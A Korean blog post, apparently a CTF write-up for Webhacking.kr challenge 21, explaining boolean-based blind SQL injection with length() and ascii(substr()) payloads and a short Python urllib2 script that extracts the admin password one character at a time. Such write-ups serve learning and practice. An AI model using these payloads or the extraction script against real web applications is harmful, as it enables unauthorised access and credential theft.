zj3t

email: euntaejang@gmail.com

Latest Posts

Webhacking.kr 21 --BlindSQL Injection

By 오후 11:58

처음으로 blind sql 인젝션 기법을 배웠습니다. 시간도 굉장히 오려걸렸고 어려웠습니다.
웹 문제를 푼지얼마안되서 웹은 아직 서툽니다. 그래도 포너블보다는 난이도가 쉬운것 같아요~~





1과 2를 입력했을 때 True, 3을 입력했을 때 False, 즉 True와 Flase로만 추측해서 답을 알아가야하는 sql 인젝션 즉 blind sql 인젝션 문제입니다.

여기서 1과 2가 각각 guest, admin인 것은 그동안의 감으로 알 수 있었습니다.

뒤에서 이 감이 확실해 집니다ㅎㅎ


우선 처음에는 어찌해야할지 몰랐습니다. 막 검색을하다가 blind SQL 인젝션 가이드 pdf에서 length()를 이용해서 길이를 구해야 하는 팁을 얻었습니다.(밑에 블로그도 첨부할 것)

1 and length(id) =5 
--no=1즉 guest일때(true) and length(id)=5 이면 (true) 즉 and 연산이니까 true and true하면 true, 이 원리를 이용합니다.

1 and length(pw) =1....
마찬가지로 pw의 패스워드 길이를 1부터 찾아가는 과정입니다. 1 and length(pw) =5 에서 true가 떳습니다. 그렇다는건 guest의 password길이가 5라는 뜻이죠


2 and length(id) =1.....
--no는 admin입니다. 이건 뭐 guest의 id가 guest니 당연 no가 2일 때 id는 admin이라고 생각했습니다.

2 and length(pw) =1...
--생략

이렇게 해서 테이블을 만든 것


일단 대략적으로 guest guest는 짝을 이룰것이라고 생각했고, 만약 아니더라도 guest는 필요없고 우리는 admin만을 필요로하기 때문에 admin 테이블을 봐야한다.

no 2 and length(pw) =19 에서 true가 나왔기 때문에 admin의 pw길이는 19입니다. 
그럼 어떻게 찾아야 할까요? 저는 이곳에서 많이 해맸습니다. 


2 and ascii(subsrt(pw,1,1))=97

이 sql 구문이 무엇일까요?? admin의 pw를 가져와서 인덱스 첫번째 부터 1바이트를 잘라서 ascii로 변환한 값이 97과 같은지 물어보는 구문입니다.

(subsrt(pw,2,1))

-pw문자열을 인덱스 2번째 부터([1]) 1바이트를 자른다.
이제 아시겠죠??

이런식으로

2 and ascii(subsrt(pw,1,1))=97
2 and ascii(subsrt(pw,1,1))=98
2 and ascii(subsrt(pw,1,1))=99
2 and ascii(subsrt(pw,1,1))=100
2 and ascii(subsrt(pw,1,1))=101
2 and ascii(subsrt(pw,1,1))=102

.
.
.
.
.비교하면 얼마나 걸릴까요?? 19번 X 26('z'-'a') 인가요??

맨처음에 이렇게 일일히 비교하다가 문제 포기할뻔했습니다.

그러다가 urllib2라는 파이썬 라이브러리를 이용해서 막 블로그를 뒤져가며 찾아 코딩을 해봤습니다.


  1. import urllib, urllib2

  2. password=""
  3. space="%20"
  4. for i in range(1,20): #'+str(i)+'
  5.         for j in range(97,128):
  6.             url="http://webhacking.kr/challenge/bonus/bonus-1/index.php?id=&pw=&no="+"2%sand%sascii(substr(pw,%d,1))=%d" %(space,space,i,j)
  7.             req = urllib2.Request(url)
  8.             req.add_header('Cookie','PHPSESSID=자기꺼 넣으세여')
  9.             res=urllib2.urlopen(req)

  10.             if "True" in res.read():
  11.                 #print chr(j)
  12.                 password +=chr(j)
  13.                 break

  14. print password

제가 작성한 코드지만 이미 다른 블로그에 방법이 다 나와있어서 따로 설명은 하지 않겠스니다. 그냥 저 8번째 줄이 너무나도 암이걸렸습니다.


이렇게 했더니 답이 나왔습니다.




: 많은 블로그를 가봤지만 정말 blind sql 인젝션을 잘 설명해준 pdf입니다. 역시 해커스쿨!!


이렇게 또 어려워서 예전에는 바로 포기했던 문제를 풀게 되었습니다. 올클까지 달려가겠습니다.

You Might Also Like

0 개의 댓글